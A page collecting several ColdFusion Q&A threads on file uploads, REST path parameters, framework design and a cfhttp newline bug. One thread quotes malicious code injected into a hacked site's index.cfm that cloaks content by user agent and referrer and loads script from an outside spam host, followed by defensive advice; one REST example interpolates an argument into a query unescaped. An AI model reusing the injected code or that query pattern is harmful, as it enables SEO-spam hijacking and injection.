ColdFusion adding extensions to names of uploaded files? - forms

So I was just working on some ColdFusion code to validate upload filename extensions, and I've noticed that when I delete the extension from a filename and then upload the file, the extension gets added back somehow I'm guessing based on the MIME type, however I'm not sure if ColdFusion is doing this, or the browser (MS Edge on Mac)? The extension appears inside the CLIENTFILE, CLIENTFILEEXT, CONTENTSUBTYPE, as well as the ATTEMPTEDSERVERFILE, SERVERFILE, and SERVERFILEEXT properties of the <cffile> result, even though the filename of the uploaded file didn't have an extension.
Anyone know what's going on?
This is the form input <input type="file" name="attachment1" style="width:100%"> and this is how it's being saved <cffile action="upload" filefield="attachment1" destination="#request.email_upload_folder#" nameconflict="overwrite" result="my_result1">. The extension also shows up when I use this function to get the client file name (I admit to copy-pasting this code without understanding how it works):
<cffunction name="getClientFileName" access="public" returntype="string" output="false" hint="">
<cfargument name="fieldName" required="true" type="string" hint="Name of the Form field" />
<cfset var tmpPartsArray = Form.getPartsArray() />
<cfif IsDefined("tmpPartsArray")>
<cfloop array="#tmpPartsArray#" index="local.tmpPart">
<cfif local.tmpPart.isFile() AND local.tmpPart.getName() EQ arguments.fieldName>
<cfreturn local.tmpPart.getFileName() />
</cfif>
</cfloop>
</cfif>
<cfreturn "" />
</cffunction>

Related

Does ColdFusion support REST API URIs with a dynamic token in the middle of the URI?

I've been playing with ColdFusion 11's REST API support and am wondering if it's possible to have it support a URI with a dynamic token in the middle of the URI instead of only at the end. That is, it very easily supports URIs like:
/rest/users/12345
where the 12345 is dynamic (in this case, the user's userID). But I haven't been able to find a way (without a tremendous amount of URI hacking) to support URIs like:
/rest/users/12345/emailAddresses
So, is it possible to do this in ColdFusion (11 or 2016)? If not, is it supported in Taffy (I didn't see where it is but I could be wrong)?
TIA
It's been a while and I wanted to provide the answer in case anyone else has this same question...
ColdFusion, when defining a CFC for a REST endpoint, allows you to specify wildcards/variable names in the restpath attribute to both the <cfcomponent> and <cffunction> tags. You would then define <cfargument> tags for each one of these variables so that you can access them within your function. For example:
<cfcomponent rest="true" restpath="/users/{userId}/pets" ... >
<cffunction name="getPets" access="remote" httpMethod="GET">
<cfargument name="userId" type="numeric" required="true" restargsource="Path" />
<!--- Called with a path like /users/123/pets/ --->
<!--- do stuff using the arguments.userId (123) variables --->
</cffunction>
<cffunction name="getPet" access="remote" httpMethod="GET" restpath="{petId}">
<cfargument name="userId" type="numeric" required="true" restargsource="Path" />
<cfargument name="petId" type="numeric" required="true" restargsource="Path" />
<!--- Called with a path like /users/123/pets/456/ --->
<!--- do stuff using the arguments.userId (123) and/or arguments.petId (456) variables --->
</cffunction>
</cfcomponent>
The keys here are using the restpath attribute with the variable defined as a variable name in curly braces and then defining those variables as arguments to the function with a restargsource attribute set to "Path".
I hope this helps.

REST services in ColdFusion 11

I am trying to create a new rest service in coldfusion and I wanted to try not passing in some parameters if I don't have a value for them but I am getting a 'not found' response from my function.
REST Service CFC:
<cfcomponent rest="true" restpath="/crudService">
<cffunction name="getHandlerJSON" access="remote" httpmethod="GET" restpath="{customerID}" returntype="query" produces="application/json">
<cfargument name="customerID" required="false" restargsource="Path" type="numeric" default=-1/>
<cfset myQuery = queryNew("id,name","Integer,varchar",[[1, "Sagar"], [2, "Ganatra"]])>
<cfquery dbtype="query" name="resultQuery">
select * from myQuery where 1=1
<cfif arguments.customerID neq -1>
and id = #arguments.customerID#
</cfif>
</cfquery>
<cfreturn resultQuery>
</cffunction>
</cfcomponent>
And this is how I am calling it:
<cfhttp url="http://dev.test.com/rest/api/crudService/2" result="restResult" method="GET" />
<cfdump var="#deserializeJSON(restResult.filecontent,false)#">
And the outcome:
{"COLUMNS":["ID","NAME"],"DATA":[[2,"Ganatra"]]}
What I want to do is to be able to call my service without an id and get all of the results back. Do I need to create a separate function for this? What is the best practice?
When passing parameters to a REST service CFC via PATH those params must exist in the URL. If not, then the path CF is looking at is not correct.
I believe you will need a separate function to return all results...OR, pass a huge number like 1000000.

Aargh! Coldfusion sites are being hacked

Some of our coldfusion sites are being redirected to a mulberry site when someone does a google search. Is there a way to prevent this? How are they doing it in the first place? It look like this code is being inserted into the index.cfm:
<cffunction name="isSpider" returntype="boolean">
<cfif reFindNoCase("(bot|crawl|spider|slurp|yahoo|sohu-search|lycos|robozil la)", cgi.http_user_agent)>
<cfreturn true />
<cfelse>
<cfreturn false />
</cfif>
</cffunction>
<cffunction name="isEngine" returntype="boolean">
<cfif reFindNoCase("(google|bing|aol|search|baidu|yahoo|sogou|soso|live|you dao|so)", cgi.http_referer)>
<cfreturn true />
<cfelse>
<cfreturn false />
</cfif>
</cffunction>
<cffunction name="isPage" returntype="boolean">
<cfif reFindNoCase("(index.|default.|main.)", cgi.script_name)>
<cfreturn true />
<cfelse>
<cfreturn false />
</cfif>
</cffunction>
<cfif isSpider() and isPage()>
<cfcontent reset="true" />
<cffile action="read" file="#expandPath("/images/log.gif")#" variable="tpl" />
<cfoutput>#tpl#</cfoutput>
<cfabort />
</cfif>
<cfif isEngine() and isPage()>
<cfcontent reset="true" />
<script src="http://www.shopsnapbackhatus.com/jie/mulberry.gif" type="text/javascript" charset="utf-8"></script>
<cfabort />
</cfif>
You've not mentioned which version of CF, nor whether IIS or apache etc (again which version) etc.
The attack could be coming through multiple vectors, and it's highly likely there's a backdoor of some description judging by the fact they're actively writing code to templates. Even if you find the entry point, it's not going to do any good unless you can say 'yes it was this' and patch it. Is your CF up to date?
Start Here: http://hackmycf.com/
Then look at your templates - I'm willing to bet there's some .cfm files in there which shouldn't be. have you got a backup? compare it (and go back months - a lot of intrusion attempts access early, leave it for a while, then start doing things).
Personally, I'd consider wiping and starting again to be absolutely sure, but even then, you need to check the code you redeploy is 100% safe, and that the environment is fully patched, and that you actually found the initial cause.
First of all
it may be due to google or other search engine instead check your code.
Apply current patches from ColdFusion.
Make sure you are using for all of your queries since SQL injection is most probably cause this.
And don't forget about XSS attack. If those sites taking user input which displaying publicly then first encode appropriately user input your site.
Check out ColdFusion lockdown guide (please choose as per your coldfusion version) http://www.adobe.com/content/dam/Adobe/en/products/coldfusion/pdfs/91025512-cf9-lockdownguide-wp-ue.pdf
All of the above perform vulnerability test for all your site (if you are managing it) using any commercial or open source tool (I like Zad Attack Proxy).
Before doing all of the above check your existing database for miscellaneous code (normally javascript tag) and correct it.

Front-Controller Framework Architecture and Services

I am trying to use my service layer in my own front-controller style framework and I've always been taught to decouple the service layer from the controller layer.
This is causing me issues as I need to access important front-controller methods from my services, so I'm jumping through hoops to try and make this happen.
I noticed when looking at Coldbox however that the actual framework regularly passes the Coldbox controller through to its services.
Can and should this really be done?
The problem I have specifically that my controller/handler calls a service which gets a load of widgets for a page request, it then loops over each one and renders each widget, but each widget is itself a controller/handler and the controller/handler needs the front-controller.
How can this be done without passing in the front-controller or is my architecture all wrong?
CURRENT SERVICE CODE (shortened)
<cffunction name="renderWidgets" access="public" output="false" returntype="string" hint="I return an the prequested webpage URL.">
<cfargument name="source" type="string" default="" />
<cfargument name="templateId" type="string" default="" />
<cfargument name="webPageId" type="string" default="" />
<!--- set original template HTML --->
<cfset stuReturn.renderedHTML = arguments.source />
<!--- get assigned widgets and properties --->
<cfset stuReturn.qryTemplateObjects = findTemplateObjectAssignments({templateId=arguments.templateID}) />
<!--- if found --->
<cfif stuReturn.qryTemplateObjects.recordcount>
<!--- loop over assigned widgets --->
<cfloop query="stuReturn.qryTemplateObjects">
<!--- create struct --->
<cfset stuReturn.stuTemplateObjectAssignment = queryrowtostruct(stuReturn.qryTemplateObjects, stuReturn.qryTemplateObjects.currentrow) />
<!--- get the widget object --->
<cfset stuReturn.renderedHTML = stuReturn.renderedHTML & getFrontController().getWidget(stuReturn.stuTemplateObjectAssignment.objectId).render() /><!--- this is the problem, no access to getFrontController() --->
</cfloop>
</cfif>
<!--- return rendered HTML --->
<cfreturn stuReturn.renderedHTML />

Uploading a file with cfhttp appends a newline (even on binary files)

Update: I've found a workaround. If I submit a dummy form field along with the file, it works. Is this a ColdFusion bug, or is there something in the HTTP spec that says forms must contain at least one non-file form field?
Update 2: I'm convinced this is a ColdFusion cfhttp bug. This is based on Leigh's answer and the fact that I used the code below to submit a form with only the file element using javascript, and it works fine:
<form enctype="multipart/form-data" action="<cfoutput>#CGI.PATH_INFO#</cfoutput>" method="POST" name="theForm">
<input name="theFile" type="file" /><br/>
</form>
submit
I'm running into a problem uploading files from a ColdFusion server to another webserver. It seems that cfhttpparam type="file" is indiscriminately appending a newline (carriage return and line feed) to the end of the file. This is breaking binary files. This does not happen when I manually upload the file via form field. I have tried with and without mimetype parameter, and I've tried lying about mimetype with various binary formats (exe, zip, jpg), but nothing has worked. Is there some parameter I'm missing, or is this a bug in ColdFusion? (I'm running on CF 8.0.1.195765 on WinXP.)
Below is test code I'm using, it just uploads the file to the same directory. The manual upload works, but the server-based upload ends up appending a CRLF to the file.
<cfset MyDir = "C:\test" />
<cfset MyFile = "test.zip" />
<cfif IsDefined("Form.TheFile")>
<cffile action="upload" fileField="theFile" destination="#MyDir#" nameConflict="MakeUnique" />
<cfelse>
<cfhttp url="http://#CGI.SERVER_NAME##CGI.SCRIPT_NAME#" method="POST" throwOnError="Yes">
<cfhttpparam type="file" name="theFile" file="#MyDir#\#MyFile#" />
</cfhttp>
</cfif>
<html><body>
<h2>Manual upload</h2>
<form enctype="multipart/form-data" action="<cfoutput>#CGI.PATH_INFO#</cfoutput>" method="POST">
<input name="theFile" type="file" /><br/>
<input type="submit" value="Submit" />
</form>
</body></html>
or is there something in the HTTP spec
that says forms must contain at least
one non-file form field?
I do not know for certain. But according to these definitions it seems like a POST containing only a file input should be valid. So I suspect the problem may be CFHTTP in ACF.
According to Fiddler the raw content from the cfhttp call in ACF contains an extra new line just before the end boundary (0D 0A in hex view). But under Railo it does not. So I think ACF's cfhttp might be the culprit.
Sample Code:
<cfhttp url="http://127.0.0.1:8888/cfusion/receive.cfm" method="post">
<cfhttpparam name="myFile" type="file" file="c:/test/testFile.zip" mimetype="application/octet-stream" />
</cfhttp>
Results Railo 3.1.2
POST /railo/receive.cfm HTTP/1.1
User-Agent: Railo (CFML Engine)
Host: 127.0.0.1:8888
Content-Length: 382
Content-Type: multipart/form-data; boundary=m_l7PD5xIydR_hQpo8fDxL0Hb7vu_F8DSzwn
--m_l7PD5xIydR_hQpo8fDxL0Hb7vu_F8DSzwn
Content-Disposition: form-data; name="myFile"; filename="testFile.zip"
Content-Type: application/octet-stream; charset=ISO-8859-1
Content-Transfer-Encoding: binary
PK
&�1=�cN'testFile.txtTestingPK
&�1=�cN' testFile.txtPK:1
--m_l7PD5xIydR_hQpo8fDxL0Hb7vu_F8DSzwn--
Results ACF (versions 8 and 9)
POST /cfusion/receive.cfm HTTP/1.1
Host: 127.0.0.1:8888
... other headers removed for brevity ....
Content-type: multipart/form-data; boundary=-----------------------------7d0d117230764
Content-length: 350
-------------------------------7d0d117230764
Content-Disposition: form-data; name="JobFile"; filename="c:\test\testFile.zip"
Content-Type: application/octet-stream
PK
&�1=�cN'testFile.txtTestingPK
&�1=�cN' testFile.txtPK:1
-------------------------------7d0d117230764--
Maybe Railo 3.1.2 and ColdFusion 9 handle this a bit differently, but your code looks a bit incorrect for me.
Your CGI.PATH_INFO is not applicable here.
While browser is smart enough to use path without hostname, CFHTTP feels better with full hostname + script path + script name. Note: cgi.SCRIPT_NAME worked in CF9, Railo required cgi.SERVER_NAME to be prepended, though I feel this more correct in general.
That's why a bit modified version of the code works fine for me. Zip file is uploaded and posted without being corrupted.
Form:
<form enctype="multipart/form-data" action="<cfoutput>#cgi.SCRIPT_NAME#</cfoutput>" method="POST">
<input name="theFile" type="file" /><br/>
<input type="submit" value="Submit" />
</form>
CFHTTP:
<cfhttp url="#cgi.SERVER_NAME##cgi.SCRIPT_NAME#" method="POST" throwOnError="Yes">
<cfhttpparam type="file" name="theFile" file="#MyDir#/#MyFile#" />
</cfhttp>
Hope this helps.
I get the extra line feed and carriage return on file appends too. The problem for me is/was the combination of cfhttp and the cfloop. Once I broke the file creation into 3 parts: Create, cfloop endrow-1, then appending last record.
Seems like a kludgy way to do it, but no extra line feed.